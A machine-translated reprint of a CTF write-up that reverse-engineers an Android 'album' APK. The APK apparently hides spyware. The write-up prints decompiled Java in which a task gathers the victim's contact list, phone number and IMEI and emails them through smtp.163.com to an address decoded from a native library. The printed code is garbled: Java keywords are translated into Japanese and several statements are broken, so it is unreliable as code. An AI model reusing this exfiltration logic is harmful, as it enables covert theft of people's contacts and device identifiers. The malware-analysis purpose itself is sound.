BUUCTF--アルバム

テストファイル:https://www.lanzous.com/iaoj7qb

 

トレーサビリティ

jadx-GUIが開いて使用した後であって、メール検索コード

明らかに、このsendMailByJavaMail機能はキー機能する必要があります。場所を探します

    公共の 静的な int型sendMailByJavaMail(文字列MAILTO、文字列のタイトル、文字列のMAILMSG){
         場合(!デバッグ){ 
            メールメートル = 新しい;メール(C0005C2.MAILUSER、C0005C2.MAILPASS)
            m.set_host(C0005C2.MAILHOST)。
            m.set_port(C0005C2.PORT)。
            m.set_debuggable(真の); 
            m.set_to(新しい文字列[] {}のmailto)。
            m.set_from(C0005C2.MAILFROME)。
            m.set_subject(タイトル)。
            m.setBody(MAILMSG)。
            してみてください{
                 場合(m.send()){ 
                    Log.i(「IcetestActivityは」、「電子メールは正常に送信されました。」); 
                } { 
                    Log.i( "IcetestActivity"、 "電子メールが失敗した送信されました。" )。
                } 
            } キャッチ(例外e){ 
                Log.e( "MailApp"、 "電子メールを送信できませんでした" 、E)。
            } 
        } 
        リターン 1 
    }

mailtoのパラメータに関数、これはmailtoの私たちが見つける必要がある必要があります。

私たちは、どのようなこの機能のリファレンスを見て

パブリック クラス MailTaskは延び AsyncTask <整数、整数、文字列> {
     プライベート文字列のコンテンツを、
    プライベートコンテキストコンテキスト。

    公共 のボイドの実行(文字列のcontent2){ 
        String型のノートブック = "" ;
        (文字列[]注:NoteBook.get(この.context、IMAPStore.RESPONSE)){ 
            ノートブック = String.valueOf(ノートブック)+ノート[0] + ":" +ノート[1] + "\ R \ n"は; 
        } 
        文字列TEL =((TelephonyManager)この .context.getSystemService( "電話" ))getLine1Number()。
        もし(TEL == NULL || tel.equals( "" )){ 
            TEL = C0001A2.getNoteBook(content2).phoneNumber。
        } 
        のSMS getBFlag = C0001A2.getNoteBook(content2)。
        もし(!C0001A2.isEmpty(ノートPC)){ 
            C0001A2.sendMailByJavaMail(C0005C2.MAILSERVER、 "通讯录(" + TEL + "IMEI" +((TelephonyManager)この .context.getSystemService( "電話"))。getDeviceId() + ")" 、ノートブック); 
        } 
    }

C0005C2.MAILSERVERは、私たちがオリジナルのソースを見つけ、電子メールを必要とするものです

パブリック クラスC0005C2 {
     パブリック 静的 最終列CANCELNUMBER = "%23%百分の2321 23" パブリック 静的 最終列MAILFROME = Base64.decode(NativeMethod.m1m())。
    公共の 静的な 最終文字列MAILHOST =「smtp.163.com」パブリック 静的 最終列MAILPASS = Base64.decode(NativeMethod.pwd())。
    パブリック 静的 最終列メールサーバ= Base64.decode(NativeMethod.m1m())。
    公共の 静的な 最終文字列MAILUSER =Base64.decode(NativeMethod.m1m())。
    パブリック 静的 最終列MOVENUMBER = "** 21 * 121パーセント23" 公共の 静的な 最終文字列PORT =「25」;
    公共の 静的な 最終文字列の日付=「2115年11月1日」パブリック 静的 最終列にphoneNumber = Base64.decode(NativeMethod.m2p())。

メールサーバファイルがそのように機能NativeMethod.m1m(によって返された外部荷重値)は、その後、BASE64を復号します。ただbase64で暗号化された文字列の後にファイルを見つける必要があり、我々はそう。

 

IDAオープン

IDAファイルはAPKファイルlibcore.so開かれた後、base64で暗号化された文字列は、Stringウィンドウで見つかりました。

復号化の後、第二のフラグであります

 

フラグを取得します!

flag{[email protected]}

おすすめ

転載: www.cnblogs.com/Mayfly-nymph/p/12578463.html